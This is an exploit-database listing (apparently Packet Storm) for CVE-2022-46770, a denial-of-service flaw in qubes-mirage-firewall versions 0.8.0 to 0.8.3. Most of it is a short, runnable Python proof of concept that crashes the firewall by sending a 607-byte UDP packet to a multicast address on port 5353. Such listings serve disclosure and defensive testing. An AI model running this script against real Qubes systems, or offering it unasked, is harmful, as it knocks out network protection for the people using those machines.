Lucene search

K
packetstormKrzysztof BurghardtPACKETSTORM:171610
HistoryMar 31, 2023 - 12:00 a.m.

Qubes Mirage Firewall 0.8.3 Denial Of Service

2023-03-3100:00:00
Krzysztof Burghardt
packetstormsecurity.com
133
exploit
qubes os
mirage firewall
denial of service
cve-2022-46770

0.415 Medium

EPSS

Percentile

97.3%

`# Exploit Title: qubes-mirage-firewall v0.8.3 - Denial Of Service (DoS)  
# Date: 2022-12-04  
# Exploit Author: Krzysztof Burghardt <[email protected]>  
# Vendor Homepage: https://mirage.io/blog/MSA03  
# Software Link: https://github.com/mirage/qubes-mirage-firewall/releases  
# Version: >= 0.8.0 & < 0.8.4  
# Tested on: Qubes OS  
# CVE: CVE-2022-46770  
  
#PoC exploit from https://github.com/mirage/qubes-mirage-firewall/issues/166  
  
#!/usr/bin/env python3  
  
from socket import socket, AF_INET, SOCK_DGRAM  
  
TARGET = "239.255.255.250"  
  
PORT = 5353  
  
PAYLOAD = b'a' * 607  
  
s = socket(AF_INET, SOCK_DGRAM)  
  
s.sendto(PAYLOAD, (TARGET, PORT))  
  
  
`

0.415 Medium

EPSS

Percentile

97.3%